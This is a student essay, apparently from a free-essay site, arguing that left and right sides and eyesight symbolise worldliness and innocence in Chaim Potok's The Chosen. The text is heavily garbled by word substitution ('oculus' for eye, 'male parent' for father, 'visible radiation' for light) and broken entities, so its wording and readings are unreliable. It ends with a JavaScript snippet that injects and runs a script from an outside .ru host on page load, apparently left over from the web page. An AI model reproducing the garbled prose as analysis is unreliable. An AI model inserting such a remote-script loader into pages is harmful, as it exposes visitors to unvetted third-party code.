Symbolism In Chaim Potok free essay sample

# 8217 ; s The Chosen Essay, Research Paper Jeremy Leavitt Chaim Potok uses symbolism in The Chosen many different ways. One thing thatis symbolic in his book is the mention to the right and left sides of things. Throughoutthe book this is used to demo what the characters are like. First Potok illustrates the pointwhen Reuven # 8217 ; s left oculus is cut during the baseball game. It is used once more at the infirmary. Danny and his male parent besides illustrate the right and left manus symbolism. When Danny hit the ball at Reuven, it hit him in the left oculus. When Reuven was inthe infirmary unusual things happened to him on the lift. # 8220 ; It looked blurred, and I saw it alter colour from white to red to black, so back to white. # 8221 ; Reuven must hold seen things in a different visible radiation without the full usage of his left oculus, whichexplains why the fluorescent visible radiations in the lift changed the manner they did. WhenReuven woke up in the infirmary he could merely see through his right oculus and the windowshe looked at were blurred. More of the symbolism comes out as Reuven begins to familiarise himself with thesurroundings of the infirmary. Reuven met Tony Savo, on the bed to his left. Mr. Savowas a gladiator, and had been clopped plenty to acquire him to the infirmary. Mr. Savo # 8217 ; sright oculus had a spot on it. Mr. Savo says that the universe is brainsick and askew. He tellsReuven to watch out for himself because the universe is cockeyed. Because Mr. Savo onlyviews the universe through his left oculus it appears cockeyed. The symbolism in this shows leftto be worldly and cautious. To Reuven # 8217 ; s right side is Billy. Billy is blind. He is a little, delicate looking boywhich portrays the artlessness he has. Because Billy can # 8217 ; t see out of either oculus he doesn # 8217 ; tknow of the universe and is non affected by it. The symbolism portrayed here shows that theright is associated with artlessness and good. When Danny comes to see Reuven in the infirmary, the two of them leave to gotalk in the hall. Danny begins to play with his right earlock utilizing his right manus. Heseemed to be really absorbed in something, so he noticed that he was making it and he discontinue. # 8220 ; It # 8217 ; s funny, # 8221 ; he said. # 8220 ; It # 8217 ; s truly amusing. I have to be a rabbi and Don # 8217 ; t want to be one, you don # 8217 ; Ts have to be a rabbi and do desire to be one. It # 8217 ; s a brainsick world. # 8221 ; Here Danny is exemplifying his desire to larn of the universe, but he is restricted because ofhis spiritual duties, the right things to make. Danny told Reuven how he surveies Talmud and that he has a photographicmemory. He besides told Reuven about taking trips to the library in secret to larn aboutpsychology and non anger his male parent vastly. Danny # 8217 ; s universe is wholly of the rightside, isolated in his Hasidic com munity, with the force per unit areas of going the following tzaddik. Danny wants to spread out his cognition by analyzing psychological science and other things notassociated with Talmud, or left sided things. When Reuven was let out of the infirmary, he was allowed to utilize his spectacless, but hewas non allowed to read. # 8220 ; The universe jumped into focal point and everything looked all of a sudden bright and fresh and clean, as it does on an early forenoon with the Sun on the trees, and at that place was a newness everyplace, a feeling that I had been off a long clip in a dark topographic point and was now returning place to sunlight. # 8221 ; Reuven was deprived of the sight in his left oculus and couldn # 8217 ; t see the universe in the rightlight, he lost the balance necessary to see the universe decently. Once out of the hospitalhe could see, but wasn # 8217 ; t able to read, which still shut him off from the universe. After beingshut away from the universe for a hebdomad, Reuven noticed things he hadn # 8217 ; T before. # 8220 ; The hydrangea shrub # 8211 ; or snowball shrub, as we called it # 8211 ; on our lawn glowed in gt ; the sunshine and I stared at it. I had neer truly paid attending to it before. Now it seemed all of a sudden aglow and alive. # 8221 ; This shows how Reuven has realized for himself that the accident had brought about achange in him. When Reuven went to his temple he saw his fellow schoolmates, and he thoughtabout what it would be like to be blind, Reuven couldn # 8217 ; t grok it. After the servicesReuven was gazing at the sky and noticed the blue. It was the same colour as Danny # 8217 ; seyes, which were the same colour as the guiltless small Billy # 8217 ; s eyes. Danny is beingassociated to the small male child to the right of Reuven in the Hospital. When Reuven went to Danny # 8217 ; s temple, Danny # 8217 ; s younger brother sat to hisfather # 8217 ; s left and Danny and Reuven to the right. This may hold been because Danny wasnext in line to go tzaddik and his small brother was hence inferior to him which isthe ground he sat to the left of Reb Saunders and Danny sat to the right. Like the Saunders brothers, When Reuven went to Danny # 8217 ; s house to hold Talmudwars he would sit to the left of Reb Saunders and Danny would sit to the right. This issymbolic of how Reb Saunders knows that Danny is favored more and is more religiousthan Reuven, non a Hasid. One twenty-four hours Reuven received a phone call from Billy # 8217 ; s male parent. Reuven asked him ifBilly # 8217 ; s operation went good and Billy # 8217 ; s male parent said that it had non. Reuven so asked if hecould visit Billy, and Billy # 8217 ; s pa said that he had moved off. Reuven suddenlyremembered Mr. Savo and the loony, askew universe. Out of Reuven # 8217 ; s left oculus he saw afly trapped by a spider on a web. This is symbolic of Billy # 8217 ; s state of affairs. Billy was trappedby his sightlessness, and when person attempted to change his sightlessness it didn # 8217 ; t work and hemoved off. Just like Billy the fly was trapped and Reuven blew the web off and thefly disappeared. This is besides symbolic of Danny # 8217 ; s state of affairs. Danny is trapped by his male parent and thefact that he will someday hold to take over as tzaddik. But when Danny alters hissituation by analyzing psychological science and traveling to college he disappears as a Hasidic tzaddikand becomes a tzaddik to the universe and a follower of the commandments. Besides Danny # 8217 ; seyesight grows worse and worse as he studied psychological science and the spectacless he used hadlittle affect. He may hold been traveling blind, closer to the right like Billy, and non the leftafter all. This symbolism can besides assist to depict Reb Saunders state of affairs. Reb Saunders istrapped by his boy # 8217 ; s superb head. When he tries to alter his boy by raising him insilence he loses his boy. Possibly Danny lived his life sing the universe through his right oculus merely and nowhe is get downing to reconstruct the balance so that he can see things in a new visi ble radiation. # 8220 ; Danny nodded, his eyes glowing, luminous. # 8221 ; Danny # 8217 ; s eyes are described precisely the same manner as the sweet sand verbena shrub in Reuven # 8217 ; s frontyard. This evidently represents the fact that Danny is now seeing things he had non seenbefore. And he was being seen as neer seen before, with no face fungus or earlocks. In decision, Reuven may hold been illustrated at the left for more than onereason. The left provides balance for the right, an resistance. Danny was chosen as anopposition to his male parent and Reuven was chosen as an resistance to them both. Reuven atthe left helped Reb Saunders understand why his boy was making the things he was. Theright represents life devoted to one thing, in Reb Saunders instance Talmud, and the leftrepresents the worldly things such as Freud and deductive logic, which includes the rightbut besides has a balance. Possibly this is the major difference between the Hasids and theapikorism. Although they have harsh differences they need each other to last. 351 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;